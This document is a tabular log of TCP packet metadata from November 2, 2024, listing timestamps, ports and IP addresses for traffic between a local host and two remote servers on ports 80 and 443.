Nov 2, 2024 07:16:11.822855949 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822869062 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822894096 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822921038 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822943926 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822952986 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822962999 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822974920 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822985888 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822990894 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.823003054 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823015928 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823029041 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.823052883 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.823062897 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823080063 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823096037 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823111057 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823123932 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823127985 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.823136091 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823151112 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.823165894 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823170900 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.823179007 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823204994 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823216915 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823225021 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.823225975 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823247910 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.823256016 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823266029 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823267937 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.823276997 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.823303938 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.846662998 CET	443	63810	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.847065926 CET	63810	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.847074032 CET	443	63810	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.847547054 CET	63810	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.847549915 CET	443	63810	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.861349106 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.861401081 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.861409903 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.861419916 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.861429930 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.861504078 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.861504078 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.861504078 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.861535072 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.861545086 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.861583948 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.867153883 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867249012 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867259979 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867270947 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867283106 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867294073 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867296934 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.867306948 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867338896 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.867362976 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867377043 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867391109 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867400885 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.867407084 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867419004 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867428064 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867429972 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.867438078 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867449999 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867460966 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867463112 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.867472887 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.867485046 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.867515087 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.910815001 CET	443	63809	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.910871983 CET	443	63809	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.910948992 CET	63809	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.911084890 CET	63809	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.911084890 CET	63809	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.911096096 CET	443	63809	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.911103964 CET	443	63809	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.913233042 CET	63814	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.913250923 CET	443	63814	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.913338900 CET	63814	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.913465023 CET	63814	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.913476944 CET	443	63814	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.917268991 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.923341036 CET	443	63811	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.923654079 CET	63811	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.923660994 CET	443	63811	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.924027920 CET	63811	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.924031019 CET	443	63811	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.927304983 CET	443	63808	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.927376986 CET	443	63808	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.927429914 CET	63808	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.927577972 CET	63808	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.927583933 CET	443	63808	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.927594900 CET	63808	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.927598953 CET	443	63808	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.929744959 CET	63815	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.929769039 CET	443	63815	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.929843903 CET	63815	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.929961920 CET	63815	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.929970980 CET	443	63815	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.941921949 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.941972971 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.941983938 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.941993952 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942018986 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942050934 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942054033 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942115068 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942131042 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942143917 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942153931 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942156076 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942163944 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942173958 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942184925 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942187071 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942203045 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942210913 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942214012 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942224026 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942229986 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942243099 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942251921 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942255974 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942260027 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942334890 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942351103 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942358017 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942362070 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942373037 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942383051 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942394018 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942394972 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942404032 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942419052 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942431927 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942440033 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942444086 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942452908 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942464113 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942476034 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942490101 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942517042 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942600965 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942765951 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942778111 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942787886 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942810059 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942856073 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942867041 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942883015 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942893982 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942895889 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942905903 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942914963 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942917109 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942943096 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.942969084 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942979097 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.942994118 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943006992 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943016052 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943018913 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943043947 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943069935 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943080902 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943090916 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943103075 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943120956 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943125963 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943135977 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943147898 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943159103 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943166971 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943171024 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943178892 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943188906 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943201065 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943205118 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943213940 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943221092 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943223953 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943233967 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943247080 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943278074 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943280935 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943316936 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943363905 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943371058 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943408012 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943418026 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943433046 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943444967 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943454981 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943455935 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943468094 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943479061 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943484068 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943490982 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943495035 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943505049 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943521023 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943552017 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943701982 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943711042 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943727016 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943737984 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943751097 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943754911 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943789959 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943814039 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943823099 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943866014 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943873882 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943883896 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943896055 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943907022 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943912983 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943919897 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943929911 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.943933964 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.943957090 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944025040 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944036007 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944052935 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944063902 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944067955 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944075108 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944103956 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944119930 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944139004 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944149971 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944159031 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944171906 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944185972 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944190979 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944200993 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944214106 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944216013 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944228888 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944231033 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944241047 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944251060 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944266081 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944268942 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944276094 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944293022 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944312096 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944318056 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944387913 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944401026 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944411039 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944427013 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944434881 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944437027 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944448948 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944463968 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944477081 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944605112 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944613934 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944623947 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944638968 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944652081 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944679022 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944765091 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944773912 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944785118 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944799900 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944806099 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944813013 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944818974 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944823980 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944835901 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944844961 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944847107 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944858074 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944869041 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944870949 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944880009 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944889069 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944891930 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944906950 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944916964 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944926023 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944927931 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944938898 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944953918 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944964886 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.944967031 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944977999 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.944988012 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.945003033 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.945029020 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.945099115 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.945110083 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.945120096 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.945128918 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.945141077 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.945142984 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.945151091 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.945163012 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.945173979 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.945182085 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.945192099 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.945208073 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.981460094 CET	443	63810	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.981611967 CET	443	63810	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.981666088 CET	63810	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.981858015 CET	63810	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.981862068 CET	443	63810	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.981869936 CET	63810	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.981873035 CET	443	63810	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.983278036 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.983290911 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.983303070 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.983330011 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.983625889 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.983637094 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.983671904 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.985527039 CET	63816	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.985559940 CET	443	63816	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.985622883 CET	63816	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.985770941 CET	63816	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.985785007 CET	443	63816	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.988550901 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988624096 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.988668919 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988677979 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988706112 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988715887 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988723040 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.988725901 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988748074 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.988763094 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.988781929 CET	63806	80	192.168.2.4	208.109.77.116
